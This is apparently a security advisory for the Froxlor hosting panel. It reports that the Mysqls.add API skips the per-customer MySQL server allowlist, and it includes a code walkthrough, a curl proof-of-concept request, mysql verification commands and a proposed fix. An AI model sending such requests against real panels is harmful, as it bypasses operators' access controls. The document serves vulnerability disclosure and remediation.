Froxlor customer can create MySQL databases on disallowed servers via Mysqls.add API

Summary

The Mysqls.add API command (lib/Froxlor/Api/Commands/Mysqls.php) accepts a customer-controlled mysql_server parameter and only validates that the value is numeric and that the server index exists in userdata.inc.php. It never checks the value against the calling customer's allowed_mysqlserver allowlist. A customer can therefore create a database, plus a MySQL user with a password they choose, on any MySQL server the operator has configured — including servers that were explicitly excluded from that customer (e.g. a separate cluster, premium-tier host, or another tenant pool). The same allowed_mysqlserver check is correctly enforced in MysqlServer::get() / MysqlServer::listing() and in the customer-facing UI (customer_mysql.php), confirming the omission is a bug, not by-design.

Details

Vulnerable code path — lib/Froxlor/Api/Commands/Mysqls.php:69-99 (add()):

public function add()
{
    if (($this->getUserDetail('mysqls_used') < $this->getUserDetail('mysqls') || ...) {
        ...
        $customer = $this->getCustomerData('mysqls');                       // line 80
        $dbserver = $this->getParam('mysql_server', true,                    // line 81 — user-controlled
            $this->getDefaultMySqlServer($customer));
        ...
        $dbserver = Validate::validate($dbserver, ..., '/^[0-9]+$/', ...);   // line 92 — numeric only
        Database::needRoot(true, $dbserver, false);                          // line 93 — root ctx for ANY index
        Database::needSqlData();
        $sql_root = Database::getSqlData();
        Database::needRoot(false);
        if (!is_array($sql_root)) {                                          // line 97 — only existence check
            throw new Exception("Database server with index #" . $dbserver . " is unknown", 404);
        }
        ...
        $username = $dbm->createDatabase($newdb_params['loginname'], $password,
            $dbserver, ...);                                                 // line 116/118 — DB+user created
        ...
        Database::pexecute($stmt, ["customerid"=>$customer['customerid'], ..., "dbserver"=>$dbserver], ...);
    }
}

The $customer['allowed_mysqlserver'] field IS read on line 80 but is only consumed by getDefaultMySqlServer() (lines 566-573) to compute a default when the request omits mysql_server. As soon as the client supplies the parameter, the default path is skipped and no further authorization gate runs.

Cross-file evidence the check is intended elsewhere:

• lib/Froxlor/Api/Commands/MysqlServer.php:319-323 — get() rejects with HTTP 405 when $dbserver is not in allowed_mysqlserver:

  if ($this->isAdmin() == false) {
      $allowed_mysqls = json_decode($this->getUserDetail('allowed_mysqlserver'), true);
      if ($allowed_mysqls === false || empty($allowed_mysqls) || !in_array($dbserver, $allowed_mysqls)) {
          throw new Exception("You cannot access this resource", 405);
      }
      ...
  }
  

• lib/Froxlor/Api/Commands/MysqlServer.php:252-257 — same allowlist filter on listing().
• customer_mysql.php:222 — UI rejects with Response::dynamicError('No permission') when empty($allowed_mysqlservers).

Chain of execution (attacker → impact):

1. Customer authenticates to api.php with apikey/secret. The only API gate is cust_api_allowed; allowed_mysqlserver is not consulted at auth time.
2. Customer sends JSON {"command":"Mysqls.add","params":{"mysql_password":"<valid>","mysql_server":<disallowed_idx>}}.
3. Mysqls.php:71 quota check passes (mysqls_used < mysqls).
4. Mysqls.php:80 getCustomerData('mysqls') returns the caller's own row.
5. Mysqls.php:81 $dbserver is set from the request (default-fallback path skipped).
6. Mysqls.php:92 numeric regex passes.
7. Mysqls.php:93-99 Database::needRoot(true, $dbserver, false) switches to the root context of the attacker-chosen server; existence check passes.
8. Mysqls.php:116/118 DbManager::createDatabase(...) runs against the disallowed server using stored root credentials, creating the DB and granting the supplied password to <loginname>_<sqlN> (DbManager.php:177-218).
9. Mysqls.php:127-141 inserts a row into TABLE_PANEL_DATABASES with the attacker's customerid and the disallowed dbserver, allowing later management via Mysqls.get/update/delete (which only filter by customerid for non-admins, e.g. Mysqls.php:282).

PoC

Preconditions on the target instance:

• ≥2 MySQL servers configured in lib/userdata.inc.php (e.g. index 0 default, index 1 internal/premium).
• Customer X with allowed_mysqlserver=[0], cust_api_allowed=1, mysqls > 0, and an issued API key (apikey:secret).

Request — customer creates a database on server 1, which is not in their allowlist:

curl -k -u 'CUST_APIKEY:CUST_SECRET' \
  -H 'Content-Type: application/json' \
  -X POST \
  -d '{"command":"Mysqls.add","params":{"mysql_password":"ValidP@ssw0rd!","mysql_server":1}}' \
  https://froxlor.example.com/api.php

Expected (mirroring MysqlServer.get() behaviour): HTTP 405 — "You cannot access this resource". Actual: HTTP 200 with the full database record, e.g.:

{"data":{"id":42,"customerid":<cust_id>,"databasename":"<loginname>_sql1","dbserver":1,...}}

Verify the credentials work on the forbidden server:

mysql -h server1.host -u <loginname>_sql1 -p   # password: ValidP@ssw0rd!
mysql> SHOW DATABASES;        # the new DB is present
mysql> USE <loginname>_sql1;  # full access to the newly-created DB

The customer can subsequently manage the DB via Mysqls.get, Mysqls.update, and Mysqls.delete — those non-admin code paths filter only by customerid (Mysqls.php:282-289, Mysqls.php:380-391), which matches.

Impact

• Bypass of the per-customer MySQL-server allowlist (allowed_mysqlserver) enforced by the admin/reseller. The authorization model is fully defeated for the add operation.
• The customer obtains valid MySQL credentials on a server the operator explicitly excluded for them — possibly an internal/separate cluster, billing tier, premium-only host, or a server provisioned for a different tenant pool.
• The customer can persist a DB on the forbidden server (resource and policy bypass), then read/write data there, and continue to manage it through Mysqls.update / Mysqls.delete.
• Impact is bounded: privileges granted by DbManager::grantPrivilegesTo apply only to the new <loginname>_sqlN database, so no cross-tenant data exposure on the forbidden server. The damage is policy bypass, resource consumption on the forbidden server, and credential persistence there.

Recommended Fix

Mirror the allowlist check already present in MysqlServer::get(). After the numeric validation on Mysqls.php:92, before Database::needRoot(...), add for non-admin callers:

// validate whether the dbserver exists
$dbserver = Validate::validate($dbserver, html_entity_decode(lng('mysql.mysql_server')), '/^[0-9]+$/', '', 0, true);

// enforce per-customer allowed_mysqlserver allowlist (parity with MysqlServer::get())
if (!$this->isAdmin()) {
    $allowed = json_decode($customer['allowed_mysqlserver'] ?? '[]', true);
    if (!is_array($allowed) || empty($allowed)
        || !in_array((int)$dbserver, array_map('intval', $allowed), true)) {
        throw new Exception('You cannot access this resource', 405);
    }
}

Database::needRoot(true, $dbserver, false);

Audit Mysqls::update(), Mysqls::delete(), and Mysqls::get() for the same gap: those endpoints accept mysql_server and ultimately call Database::needRoot(true, $result['dbserver'], false) on the row's stored value. Once the row exists with a forbidden dbserver, those paths execute against the forbidden server unchallenged. Consider rejecting any non-admin operation whose target row's dbserver is outside allowed_mysqlserver, even if the row already exists, to defend in depth.